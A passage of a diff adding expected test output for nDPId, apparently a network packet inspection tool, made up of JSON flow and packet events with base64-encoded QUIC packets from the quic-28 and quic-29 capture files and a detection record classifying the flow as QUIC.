+02019{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"quic-28.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591267474,"pkt_ts_usec":876477,"pkt_caplen":1242,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1242,"pkt_l4_len":1208,"pkt":"7jdRvai\/bmImQfCgCABFAATMbsVAAEARSUcKCQACaBoL8OrKAbsEuILeyP8AABsU0rPlqKVxohC0BrmDOppdYLs59TAUQMS6Zy9FF9Xn7IIP1UsQeHX9qMwARH6e4RSR9Q\/LoYaYHcxSUvLWraCl7jq3kHYnQZtkjoDgJcFSWcllJnLkHnJiyBog603FKvFwI0ewZXwI7dFSeyYyQnD5k7pzrQCiY+DVZNY1DbsgnD9rK9LmzFNAzGpBHWvEgdREke0BJFtPS6hdWCAVXXuZ4Un\/Uy9AZqGfDpmPDJ4zTU33ySbFNsEMlSqEWODppeHee5zZqkfRtyaDN3C6pDrcXdvCISF7pWrLvGhGNOK4c+HMKu2vppjtLPOsdv2f253W0vjD\/TRt0M2IIKcHpWsVTPlb6ENyzpIMFQh5BUBUvZzaLd5vpDa79GqeYxR5IZriz7f3ExgcUNQSxRJH1qHWqAgDSRDWfBh5DPDncSYJw7nxBwfMRmFteWgShkC\/baj++cA0bjBjTS+vlVQadvdct+uK3JbP0QiXgrPGgYtJZ7s4xxLuX9uIMTjYvITi2bfAMqAaFdKE4LxhhdnBb5uT4h71bAX6zSaTpmqOcOdNgRrHZUzTsXY+DSGrs+vItwxP9X4Ekq5O7nBxftERsafzzUoZ4j3+4rcWBkqCD+s5RhoRjV+3bvScY6VeVRzu78s85qnjzHgOM7WXqP\/mkuGsXiaWDXruOov6tsqYY\/1u4SRciJUoSH2fjFlXB1mp51kzOFKJ1xovu3x4SMqweeRLCP7oZkmZjg9qi7TaaFS3oCE31Y7f7jCFUfb8rNpdwpOKEZrFCd7jFxzw0wnNUoWNZm4TE+iul656uWBnos+cOPL\/S6N\/bFdp5IEG+xYvdP3MPoumcCRPC40Odwfg9OcS\/SC0iHIZkFK7dmp+zuOuVO9NonPQfM7qbBMXwXlrfBR0gFrKZ+A4QWHaHId9cSGfq2D3LCwkoI9s+K\/ktGGqSFROhP7rYDkiPi9n5Mu+FhXxSkPUuqNIOe\/lbN3aF\/lFGMASz\/0iy0xlUTUqQuk0U7hFNq5QIS1K\/UJUqeCdkUbPLKxOU7onSmA3tYqc1UPOuBnYG+tICUIhSQZQmJ725qNuvGwEcpDyvhrD6pEohLloRZYdIjl5BGcX6HObj\/RIowXuzcphHFgPv0xrrTsXvTa1xb6VNGPfmdNxyTjabMA355qHas8Xjd2jFn3l\/\/5wkmWpbgaVZBN3TJ4q3+DdQ9+zCVYvRKsU2YNEoa\/JZo8L7kf51+N6ZLOk5TEbowkdyiEVOt3ARTiyjPoZeZVbLebvt+HONWcmTdAwEZLtORfE8tTUwHt3DatsuzEZZ6fWGPc0tC0DELp4brR1rb5Isi57dsYlYVRWGvGcCD9UmGR32nJHgcuAnoo6mKCYWgs7ktG3Bt6RSeyQt\/Fpi4xUg4fbfacrWmc\/gu1VY6dyXVxarzDNHwfEyusGSVSe5JdCmdiOssCenGQF907O4TSNhxMqLb5Oz2g3OMMCk5e1imqfB7vEeHV5HLR9fRDypLFolJDywoq55C+pkQRLIE\/qHMySMcBeYSqsp8Bkg+A59Gc8qDoZ6nWMWm4TwnaNzxmWjskN6OzmB08boB\/XY2jV4hTMIEbSJuQJbE7H"} +02020{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"quic-28.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591267474,"pkt_ts_usec":877588,"pkt_caplen":1238,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1238,"pkt_l4_len":1204,"pkt":"bmImQfCg7jdRvai\/CABFAATI8ZFAADkRzX5oGgvwCgkAAgG76soEtLvl7f8AABsUQMS6Zy9FF9Xn7IIP1UsQeHX9qMwU0rPlqKVxohC0BrmDOppdYLs59TBEe9Fdn64ewHb1rS12ll27MD4zfyiNoro\/bVtPmXAYDCF3ExgU7yekna5aQJZJ6D7weJN5PKE0V+F\/IUSgipMepr7jFhVtFU6GInfobFv1oeNtHAeyuiit3NLJibRW6BAL0aSOlVGbplarYKe\/KfjJ6BPKe65ygJBAbCRsedsKcwzdJoIpp92qLnX1TGcAYYfmYJbOIwy5UM8ke3ByXbogbDFyDD5LbjXD1IlsOT+vOm5vpbALPXM2L8x2wp90U8w0XvGTP+nHdVoYu+4uWxpxFHNS+nKQyThNfcMCMruNyAdjYLp5Bi3eDA2\/ylDj+tBgnc+KMmUmFZ6Ze1we0C7v\/9Tc5d5n\/6PlI3u2XU5nlG66uB1LoWUEon1g9QuZEcJ604AyZ11BQiyUl2FV210LG3A57lNddKffp3vr1linj5yra8+E\/Bh9zy4TdYEDNiYM6\/4brWRbK284PlMpu3v2bt9aa7XaZqwe2fC8tje5cHx7S23eQxXPtJFNHa0tLWzexY0ac8HEFl2g+jCTU2AFRW0emfvO\/\/VMDVg4t4kvparykeiXxBKm\/RGJ4uUVqwdc16mH7mXuMMGKaOgHOyJdzbujdCxp9iEXj+dt9JdCILW0zbK+WaBRCoJDuN8kRIwGpFKXeKhU8HUlqEb7j2HNQC0g6B57NIbHapMBdetm4Dl8YxyzIYR97c8vUmhnyzAvI+5bPbplA2AvTCJzM44gIfMw4VEvmgQ1xR2+qCwz25b5w4htasAN1OPecRHtf0b25rjygkKIugeXFJfJLgyTU1AELbk3ITFJJ0GySECfMi\/WNHbZNe717GO55GCq3z3R\/BHKmlxZri0M+rU1Sfqfbe+CsjmbEDh7Xk5dC2cYvBqUkYFS1MOcaRK3HP5tyrj8A1xLXOe9jTHcDdalO7OByCUo7IN1UJ9ekDxac5ks9r7rQzN9dKFkay4e\/\/n4hgUen49T6yVkojWsNMN2qT9dZQtu4lNSV1TlYbTCHt0esoJ7nmOlabyNkftOwy+fn2pck93dl2be69jsuAt1k1t01CiXftEg6j3MI8WLvA4DcWsa0\/xUGgglbh7cBU5KpNx\/XwZMFPO07dH\/vApQh0AMK1qhqmUAyqT+X+uPViOEHnFQ2k+p\/c3\/UnYurSl3ZjkaX2zGx5u4qZKwuLXUdauRPK\/l0lLaLWTeisjphaAD7B1hYFNck9VWYu9EgapJnSHe6bDUA2V97fBVq8g+qMvVOGu8t0TOUE\/Eu4ZVuXEorHJhMfOHvY9oI5hINvKMjqzQThVSvCvVBfLQsyq7dPL9PBp3Sfuh3DnWNDJBxrsBsps6ddLkT4ONxIH1ujFcaIoRjSQq3CK4uaFL881D3ggVpe4isDkMH\/tokQ\/QrRieKwCe09tz\/ldwPM9UAIBu\/y7LLxPR6+dh2YAQFCKKUx5RXhu+2uHcweZrsMdZ4W5+mt6cTVMUc\/kg42Tcyxl2oK4OUsQVDZetNfon7kcGg6lxOkDUyMCbpshtFrFjHVurexEOV4LzHlHzAhZk5mo="} +02017{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"quic-28.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591267474,"pkt_ts_usec":877592,"pkt_caplen":1239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1239,"pkt_l4_len":1205,"pkt":"bmImQfCg7jdRvai\/CABFAATJ8ZJAADkRzXxoGgvwCgkAAgG76soEtcwS7P8AABsUQMS6Zy9FF9Xn7IIP1UsQeHX9qMwU0rPlqKVxohC0BrmDOppdYLs59TBEfCGFOBBL3Mcx3rWJIBPxGap1H1QuPpueqarvI1YPB88JaNnkt1YTy1xMdFZHet0mkGxBTTNDEpvzdyXC2gCGcBTNgf6JLLLKN0OX2WW\/AX8dQbC3cW89SJmmzxKb3lWHHgCdV4RfzYLAcjvn2IBK40lZoYMncF4LtGMuEKkYjjT6K9RvINkXymQn9p4d88idpv1SufjSaGTpDGfcLvVTMOjMObNwwq4sKw8\/o\/JDZQjdV3Kmsj\/QlXdHc19L76N1D5x3LrduULMF2ADDp1G3M05YcFjTury383aLiCmGG3v+OtAOtGUDSeOf3nPLlDvINFWrTl9R\/RWlur8TtfSsZSCiQS8\/+lxWPkgN9VutLeUyNrKoM\/GqtzQz6vnZKW5uMqsEz+4fIIznzTCjHyVcYuBmc\/mkKc7n3iA7IKRcP\/YZcWaIO12Jy5WqUvbCMIHdcyWF63aeUmOjoquUAIThQD2Gceyx2b8GqbDbZ79ejoQVzIbnUq8ciKOxCeZ+YRt+NIfO\/OfJwypwhmDRDvpGFs9\/Z4TdMLFIA5NuZ5V2kyZTP0U7NFM3qVczkLyy9IcKur8qoA1mPfkz8IU2hmdK5CTMXcWW3BraFRj6Y+msPyqHdrcF4t+7xE44q2Xv7Ism1r4Si5ZmytCwZWWlGnK4crqXJ2kHFdzrV48HMskxnXAAlSAE8F0fv0+3GAxOhSawBnq0j3qZqbcyWUEdfod15rnTNB\/aqIocYWiwCWqok5liamBReOs2viFIbOPQXlQ+cwyiZse1WBcp\/JLWynT7llA4XA4yzvHmS2joh4vOLw9WdIylJz+div033weMojpw6tnsCklOfcQsZm\/eF44zZkDSigvPyO2xh5x0rA12K9crO9V02z28Rjygorxpqn7E3F\/xLK8wpMpv9GNd7e7vva55KEcYzH\/ewlBG+Ks16McPrXrjdWgBqffGRWIX\/ytx7s8CNxqn+GSbjyhe5Wm4GyyDpE+\/eWFqdsBSq+FrgPeHMbrwIc47DmLo0YId8XoJHGn7fRqzy4+7Tk49kqUcKL8IoXokXYGG6sV+xGRm\/pkHu4hdaKIqxdkrCXEkDdn\/ItVLqoWRExMKPu5cLPOU8gJm\/4n3+EScFzardZB2pCax6eOSA9gXn1tSugUfFoUkHTyo+AXeAgiPEh2kQ0WWPsdCXugGpXbho1Jdscd8kTVVsS5jubbaM9VXBWUhchZeT0YXW5GhC0G9LzNaPUSqjseV+LnIEN+fdo9g+aVTJkE\/qYtomuK7l6OR9Uv+P29VhqQDhn\/mVwUtCxo4gNLWJXOlBpnTRnRimpgSgVmioQJBmZTrvxTtFcrpBjBTcJhT6MTmvW27vKIVs0C1f3800Q02+05ZI+qYOOLmzawyZIgn5Y5J0gy1fs9FwhqyknaKurWMXO82cUqUFJiGoHOQpLzOHGhPh5VJqFBLIx8ilThKKxmRGCRgayFmLomYg8RTqYgCBbFkivQ48QJ1uc5Vbrz34UR9twRQ1ocdREwtCv1n\/8tHj+hv631NM0bk"} +00692{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"quic-28.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591267474,"pkt_ts_usec":877594,"pkt_caplen":259,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":259,"pkt_l4_len":225,"pkt":"bmImQfCg7jdRvai\/CABFAAD18ZNAADkR0U9oGgvwCgkAAgG76soA4XB\/7v8AABsUQMS6Zy9FF9Xn7IIP1UsQeHX9qMwU0rPlqKVxohC0BrmDOppdYLs59TBAqKus6kSO1e9+v\/ngqsrs1Y3Lu6blGqR\/LpCkIs7NY8rTB0HdLIfoGeoApOUcXxdnA2FhJVsM6m\/lHJK\/nWtY1Ezwiz0L9eSNgNKUPuWiW4x3CJWt88ibvcE+k7jrQgWkbR8u8ymUldP4X7tdqBJBZR4EtiGbPp5AwnyVvtiXa977vgPaCt5S1gGgz9lFzF7m\/8xQuUJzewKXF9KbFk25sCNa3ZTe8GAeKQ=="} +00545{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"quic-28.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591267474,"pkt_ts_usec":878672,"pkt_caplen":152,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":152,"pkt_l4_len":118,"pkt":"7jdRvai\/bmImQfCgCABFAACKbsZAAEARTYgKCQACaBoL8OrKAbsAdn6c4P8AABsU0rPlqKVxohC0BrmDOppdYLs59TAUQMS6Zy9FF9Xn7IIP1UsQeHX9qMw+nuak4oHGZEYELPSVCCQOnlSoXU7rLOB619i\/8K4+AVJ9zCr00UuGIfVsJcNsbAPpK3mrbRe0hvkciC5hEjo="} +00481{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"quic-28.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591267474,"pkt_ts_usec":879014,"pkt_caplen":103,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":103,"pkt_l4_len":69,"pkt":"7jdRvai\/bmImQfCgCABFAABZbsdAAEARTbgKCQACaBoL8OrKAbsARX5rVtKz5ailcaIQtAa5gzqaXWC7OfUwN4sKivUlyo5rErLjt5A\/T9p6qhyfht67\/HkYut6PPkJ9SQ+OEnrMzw=="} +00453{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"quic-28.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591267474,"pkt_ts_usec":879029,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"7jdRvai\/bmImQfCgCABFAABHbshAAEARTckKCQACaBoL8OrKAbsAM35ZX9Kz5ailcaIQtAa5gzqaXWC7OfUwGIZ9P8u1Kzb6RcLD891Twr2gdTwouA=="} +00453{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"quic-28.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591267474,"pkt_ts_usec":879037,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"7jdRvai\/bmImQfCgCABFAABHbslAAEARTcgKCQACaBoL8OrKAbsAM35ZW9Kz5ailcaIQtAa5gzqaXWC7OfUwXJ6VLRyKaTyz6VcnmNQFy8EoKn8anQ=="} +00565{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"quic-28.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591267474,"pkt_ts_usec":879047,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"7jdRvai\/bmImQfCgCABFAACabspAAEARTXQKCQACaBoL8OrKAbsAhn6sVdKz5ailcaIQtAa5gzqaXWC7OfUwfNrDJ9FUz7BbKMSk23g0f9C997D0tLAXYe+EfonSiyzkaksBoT3HwiNCgBof9\/w8PmqbAoJLS8yu42Ztsv5uMepcczJWBDOO+j9p9c5c2hfgENNoN6RdSpUcfcK291dLJxXOj1kWkm7z"} +00492{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"quic-28.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591267474,"pkt_ts_usec":892309,"pkt_caplen":112,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":112,"pkt_l4_len":78,"pkt":"bmImQfCg7jdRvai\/CABFAABi8ZpAADkR0dtoGgvwCgkAAgG76soATqcp7\/8AABsUQMS6Zy9FF9Xn7IIP1UsQeHX9qMwU0rPlqKVxohC0BrmDOppdYLs59TAWLgmItzxBSvZiKyQnISBjChlAVjqW7Q=="} diff --git a/test/results/quic-29.pcap.out b/test/results/quic-29.pcap.out new file mode 100644 index 000000000..cebcf7f18 --- /dev/null +++ b/test/results/quic-29.pcap.out @@ -0,0 +1,17 @@ +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"quic-29.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1592171671664,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"10.9.0.1","dst_ip":"10.9.0.2","src_port":36588,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02089{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"quic-29.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592171671,"pkt_ts_usec":664832,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"bmImQfCg7jdRvai\/CABFAAUA8Z1AAEARMDsKCQABCgkAAo7sAbsE7BkSwv8AAB0S824HvwtwiO8oxx1Iisqv85\/8EUOUTtoYvrflSLONN1vzwqO8AES3Q7WQp5eFbP47Q12xYKXOiuR8OKc8Zd+z5\/wDTiaB2gylmmpfXoWWnW9m4cfo29uCTrqUeoQcDlNjFKjOZThrp+QrfaDvzF+TP2mbdVAn5DVFyc3TGw9yc6eNagzixiAUYroBLFYv1DYB54ctmkUUCF38C+LrP5XSP2Zcs3QEOQDdiNvhWKUx+vneyJD2Ddv1Of313oIRItyeXVn2LxKac2RjP4PRAhodOpWDrnkB66u8HOFxUv4Q9HU8anll\/ZatcRtN\/kzzFFzf5YoYXwbtiynEhfyRDYp9NIa5aU5ngHDoeAIY8EqAjkZzDBZrpJEN70XKdgxbZ09x248vkii\/BYPsm8gwjS+Z+NMDUp5BndSqJan6LYduiBKS1FQ2ECMHPifIAeRkFfGsYIjcHELHJvd3bjIuQ5jcLDQ11GM29Aqw0CMdlCZ0GZUFJPoOBYtbWkB+AArzMv7l1fpdC85LE6kYaNSupy\/kxn4q0Fd9nlOil4czF7np40hmUQT5zuUOIMe57G4ak0l7jLPPFgnjPcuJ5+bhZHgxqEou6YPiVeaRUocITEWkE47FVdJ4XctN7CMWrbtrVTRyiKoG5jKjipRDy+FAnWpWY5dsQU4VKty4nhdiXpcyaazCMiTBlzAZlJ+9vVzyUo2gVZTdT1AmyQCJjmCzYg+wq4NqxE5hDx4BVlFY7VlIfT+LOXZeM++nsIOJaY7JaSW2i+1ji7jGvwvZ+l6xB5JTnisqnUTdF8GRkRAiTg25HBspHwtWrq\/Po4lqvzDZYM3JiaCh5C8UbvK9JJyDT8vEGu5LZu4vyW+zCsCEy6HtYm+Tl+y0wBH9TYuhybK9k4L\/MkebKAkQQeZPvBNwHsBWnmGK44Fke47qlm10TFPJJuYjv3s2WkxpofqtAF0qtGkvoZjB6BMweDMLBzljRd+MpcpgKx6R7LMPjs6dfEoyR\/++4fMZPmZ5nKh9L2NomKnJgnI\/Q7cjkj8+4G7DpTq\/5CiPCn768EbsWDr31eOflbsg2q5K0cAqBbvuSWrrcKEWWT9pbchcsh+CF4s8+eUg6FJomv69IBBZDRAHTYWn3VGlccxntEoW7HpxMfIbSnMt1P6bfNeHK9ADAu1LaTZlKkjjmK+gbjyes7l1CGt0SYwE5uDE0ieZjOn+NT2n96TJjl6343hGsZGGMospEVXz6DJx68jscskAGRLftunAK4Wcrbm0MVyZUbf68HXckrAHSl5ZN\/gbwXjHwC\/6kW\/aiMNhQdY8NhboJQcKwTMbOAeVwKF1KGzLGKNIqA8cRIBh1T1WLCqei3k8gd\/C7bxKNgXzYeJGw\/scGAKCWrce0B8GF8XORgu1hVv6Mwd\/suBo\/oG9g9Uq0JP+2Gj4EQHkZYzIbeC00Rkd0VLJzec5p8sOl7k1oJ2JxQnDqWq6c8EgrVrSv8x08C46hCl\/izdOK7GvwGEQaUkOOkL0AriEREHoeCFJRFtP85AqwidJch8tbK+7ugQPN0bUklhiKNfnQ3Ch72i6f0K8Dx8w3Oub6KBk7WsmEtFBIijRDgwb5rVjtiIuJyF+6hegy2WW6xf3iWQ7NMMjWxMe231j5YtMgDPBTVbFARaKzxZnq\/YZAw=="} +00663{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"quic-29.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1592171671664,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"10.9.0.1","dst_ip":"10.9.0.2","src_port":36588,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"localhost","version":"TLSv1.3","alpn":"h3-29","ja3":"b3e43d74f4b790abca2f5fe7dd06e7cf","tls_supported_versions":"TLSv1.3"}} +00553{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"quic-29.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592171671,"pkt_ts_usec":665593,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"7jdRvai\/bmImQfCgCABFAACRmvtAAEARi0wKCQACCgkAAQG7juwAfRSj8P8AAB0RQ5RO2hi+t+VIs403W\/PCo7wSLpoy7UXJBmrU+awywdI8GeSAtpBzddspmsO4wBFhAc+lOZRs3AvW96rBMIqSb8d5pE1izlVnQvJ\/MknH+txz1mHxROZRbUIezbGG599\/tfDcAoDEnt9M4O+IUzLE"} +02094{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"quic-29.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592171671,"pkt_ts_usec":666257,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"bmImQfCg7jdRvai\/CABFAAUA8Z5AAEARMDoKCQABCgkAAo7sAbsE7BkSzv8AAB0SLpoy7UXJBmrU+awywdI8GeSAEUOUTtoYvrflSLONN1vzwqO8O7aQc3XbKZrDuMARYQHPpTmUbNwL1veqwTCKkm\/HeaRNYs5VZ0LyfzJJx\/rcc9Zh8UTmUW1CHs2xhuffRHwK3nve7Gs3tZecUJrzqDFyJk9VgauDIb0Z+rvJbpolNkK6o7LgasAqmBRAbZcMPXVvUfKsLiSsD4SILcWD+XvuWr3Bh6tm+Qfkza+b6iZPubm3DVwSuys\/Xdp90g3J3Xk1P0fVr4\/DBW7XGGDkoxhXT\/JK9l4UPRIVyi5S\/s\/HCP+EDwylk5NF4afjQaGSFHvpGz1rfWgSbWW9+sMKYreG0NJGBDTiOkzrmoNuPwZsLcClKrT8DHkz+OgR9k4HlGmCBbxjhS5EqHAPTN0p9tNIZWR+C\/qUiEONzWWHajForYbyQn2DUiK6yBo+OQYvqxa3oZpGE1ifu6+st0otshaii7hYat8QkKrneLy15mdLcw7PZ9xSTYArs9hr4+vj1cqKUtxqRPTiLF4dCvRIhEX4wsiVHTQs1H5VlPwKxJq579LyeS+qFj4KdmvZBFiZFw+OSy3NncA0jvHpvDNazCZw8\/tYybqvtyop8EVUiQlHyJg8YNQ+aWO8ypOTwvNIGYKTaPxXZMvN35yLXrvtf4haVdzH0G1+kC1uUCGWP2BWNjQ\/TVG8grG7RsHGbnZn8RfXhU4qdScFjhJ31TwgAH0lYn4+u9lnJAIs5sT9WTUkrdZcS\/sM3LeHI6MKWpycP8D28jlxLUcx\/dMgCF27Jh3BsCbctlNdL8hYW38Zr2U49ykd7WZpXsGAA1nzsNfuIwfkQE4VyGHnLjXrXxRxrD6N7QDeL7eK3kUjZyC5W534QYFYrh0HWuZfiukwt3neFrc0vgyMMdUKTmaa96v1P5OJVaakJ7Ko50Ic\/ccvWMdP83+NPcs+7HRXK4yG1yRzMwkmF0e\/57Dhb4ZsYBnI3JAGnaJwAbPLn7nBCtX11JVis76ALA\/EFVyoyCMj1RVsAHT\/DccWKXtdquQdm5INifNuOA564SVFMA0ccofKzicAZJiC7kfXk6QXdl0MLrIa5kBoBc0Jy5c\/hRqi1jxPFSJ4InRQNc9l\/l2XOPXUXc7GNf40YnCF9ge02seRVw5QgAxzztym8sQ\/GYuUd0UgGwdukDWiwqiuJGtn0Mf0hSpoDxXo0GxXy5ROaCq+Yj9+rOhxfWf+y2j1esQpB+lboWDqRNGPph3H9QluST7Lui0v+n2oEV84+fsaSRoIRNleP\/qkuvCpXsIrFGtk7NdB1Z8Zdm3+Q8oB0824BsnbIqBS6PVSMa5uQ7IDT19Rii201P9HjbIFdWd6f4nkoa7QLBzeQZCl5mk4NmwWPlKeVRJy8VolVes2J755oyt5f4B18ZbY7A13RZDfxUDmg9vvPRXS5gGtrj7EEBsE5b+jNiBsYGPfCajHLvvXuZJzWTgs5GIF2fZMlW3pKokAdhk\/JtyHS9+vfZXldxcnCxBcwh\/+X5Jvp0OY666uN2Hix0VsHswxfto+CE3l1fROmKv5hQv6DrppojEXU\/Bywn1HyxPBMx4G4LIAeSl0XzQ9LpI\/snJgv3oFDbMQMXW6dKIL6toQLmRPmeW2MoTht4gvwKXj8RRQP4umFHd\/MZAMVQ=="} +00564{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"quic-29.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592171671,"pkt_ts_usec":669893,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"7jdRvai\/bmImQfCgCABFAACamvxAAEARi0IKCQACCgkAAQG7juwAhhSsyf8AAB0RQ5RO2hi+t+VIs403W\/PCo7wSuOhEpZ26G1apwTYmb8yCval\/AEBRPcuzOLEauCutm8Cg9Aw7MEJCqo0x9rzS4t7RXw9ZHJwjm4cjcaToOiMOaFfu+VVWYB5tVycdZGiAgFBsUfDxzpzoGAp5IeyX8RBhrIPQ+UnY"} +02098{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"quic-29.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592171671,"pkt_ts_usec":671308,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"bmImQfCg7jdRvai\/CABFAAUA8aBAAEARMDgKCQABCgkAAo7sAbsE7BkSzP8AAB0SuOhEpZ26G1apwTYmb8yCval\/EUOUTtoYvrflSLONN1vzwqO8O7aQc3XbKZrDuMARYQHPpTmUbNwL1veqwTCKkm\/HeaRNYs5VZ0LyfzJJx\/rcc9Zh8UTmUW1CHs2xhuffRHxHyuth7w4wAlhBFzSbC5OjU44\/1Io1dfhnPLBERJDclqgYkhsGCW5n5pq4++z17AmNcn8dBqWB48xy31i6C8\/7XLxAdE6MTkI1znSj0vPZF3m092HE5ICx5Cq8tPNqgLlGyC4nLFjq9OvRGmiuiF1TIpM9PmTRo8CoFdISqcZiGUU3ZatNhq0BrGHwqcNi5TGpNATNj+HPUET0xXmYCe8+PpzJ03gSTlzB0FLjb7iGX7ScJzGIFrKQ0gxbXNX3pdkMqQzBo0EnthbcmLKitGXotm1rEcUwvAV2ofjpp+dpKuUM0Owe+S7aqtPBkDFA45e1ipUu3IPJnxQFqqPunboo+Hnv3g9HksDbGOV3\/88bS6N0HERX9+EEPSf+jFcHugxRyYYN\/nLcw3xaDYPvLEu\/7m+N0ENIH2eff2kSd\/4XAYxOrjtXzzXRz0ZawsdnnAulk+tBvPHcTQAHUIJtSG+aaebsXHD40\/zcrQasAOlyD6+yxXtZkfWCz6DKTsNoXXFNYoferb8IbDYILPjauQdiYr\/Fqo4b8wg9zsOUqrTzOoLvaV1yqY6LGS5ESEAk+jr3ZvB3fzAjmUOGFx2kYo4hL1jK\/EcQPM5W10+VV3AoK53O1\/QDStMfKAH8\/GDuEx9GqesH0qCt5vMkOqn5YK1S7fYqFQJ0GQz1CMuXWrBTC2CpitU+UBl95E6pJUw+3rLOJIBV3NR9umg3dlzgZskQRIcO79GrkmsL6EakUlWb0zm1fkXRDVTVfkzGUPboF+IMWjDBLtqq0ad1m\/KEYu7JQMB2PIUND0ZOxU+8ur4pEZXiMKJMG\/vwK0qb80\/Sn812LEChKfMFqSLohC2gQC\/NCnWpwdff+PmCNJuaL7vvsQA+2EOqwBf3200Pla7XD+8mVcbikS\/Axog1Qu9D4fpVUG1Li3QEQ4yRBnPcG79jBpRS28cTqfVW5YH7i1z4Fqql03+ZGuyEqkhrg406IpTvdPVviAPFL6DVkypnWagcwF88ejZKMTBlSjOr\/eOnsSl23grex3BTGaO74gsy9a58KneVSew6h0i8MIAQY6ELejtpPDdIQT86X5SIhP9cpOQmuAOMAq68Vn9EEpUauLD0Ge\/pPsj020Ul4kT8YAmuqz2gf\/kHYlT+\/P\/xA7QdRVyw2RjbzYPDYQRVXfhs94sPTmHrCVUkiCWYkJMxWHBeSC2ADg8+ZvTBGDo1xzCm5P52WKcTaM0hKTzFhYXwpuMbeF5P5pR52zCrQWIE+qQW4s8tAphPljw12Jq6qoamxgL4\/mTWk84qzfcREKHpYIkc9qxIJr5H9Eu